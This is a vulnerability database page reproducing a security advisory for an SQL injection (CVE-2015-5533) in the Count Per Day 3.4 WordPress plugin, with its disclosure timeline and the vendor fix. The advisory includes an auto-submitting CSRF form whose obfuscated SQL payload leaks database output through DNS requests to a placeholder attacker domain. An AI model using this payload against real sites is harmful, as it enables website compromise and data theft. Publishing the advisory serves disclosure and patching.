Lucene search
K

WordPress Count Per Day 3.4 SQL Injection Vulnerability

🗓️ 23 Jul 2015 00:00:00Reported by High-Tech BridgeType 
zdt
 zdt
🔗 0day.today👁 42 Views

SQL Injection in Count Per Day WordPress Plugin v3.

Related
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress Plugin Count Per Day SQL Injection Vulnerability
22 Jul 201500:00
cnvd
CVE
CVE-2015-5533
23 Oct 201718:00
cve
Cvelist
CVE-2015-5533
23 Oct 201718:00
cvelist
Exploit DB
WordPress Plugin Count Per Day 3.4 - SQL Injection
27 Jul 201500:00
exploitdb
EUVD
EUVD-2015-5487
7 Oct 202500:30
euvd
exploitpack
WordPress Plugin Count Per Day 3.4 - SQL Injection
27 Jul 201500:00
exploitpack
htbridge
SQL Injection in Count Per Day WordPress Plugin
1 Jul 201500:00
htbridge
NVD
CVE-2015-5533
23 Oct 201718:29
nvd
OpenVAS
WordPress Cpimt Per Day Plugin < 3.4.1 SQLi Vulnerability
26 Oct 201700:00
openvas
Packet Storm
WordPress Count Per Day 3.4 SQL Injection
22 Jul 201500:00
packetstorm
Rows per page
Product: Count Per Day WordPress plugin
Vendor: Tom Braider 
Vulnerable Version(s): 3.4 and probably prior
Tested Version: 3.4
Advisory Publication:  July 1, 2015  [without technical details]
Vendor Notification: July 1, 2015 
Vendor Patch: July 1, 2015 
Public Disclosure: July 22, 2015 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2015-5533
Risk Level: Medium 
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL Injection vulnerability in Count Per Day WordPress plugin, which can be exploited to execute arbitrary SQL queries in application’s database, gain control of potentially sensitive information and compromise the entire website. 

The vulnerability is caused by insufficient filtration of input data passed via the "cpd_keep_month" HTTP POST parameter to "/wp-admin/options-general.php" script. A remote user with administrative privileges can manipulate SQL queries, inject and execute arbitrary SQL commands within the application’s database. 
This vulnerability can be exploited by anonymous attacker via CSRF vector, since the web application does not check origin of HTTP requests.

The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):


<form action = "http://wordpress/wp-admin/options-general.php?page=count-per-day/counter-options.php&tab=tools" method = "POST" name="f1">
<input type="hidden" name="collect" value="Collect old data">
<input type="hidden" name="do" value="cpd_collect">
<input type="hidden" name="cpd_keep_month" value="6 MONTH) AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- 2">
<input value="go type="submit" />
</form><script>document.f1.submit();</script>


-----------------------------------------------------------------------------------------------

Solution:

Update to Count Per Day 3.4.1

More Information:
https://wordpress.org/plugins/count-per-day/changelog/
https://plugins.trac.wordpress.org/changeset/1190683/count-per-day

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jul 2015 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.09524
42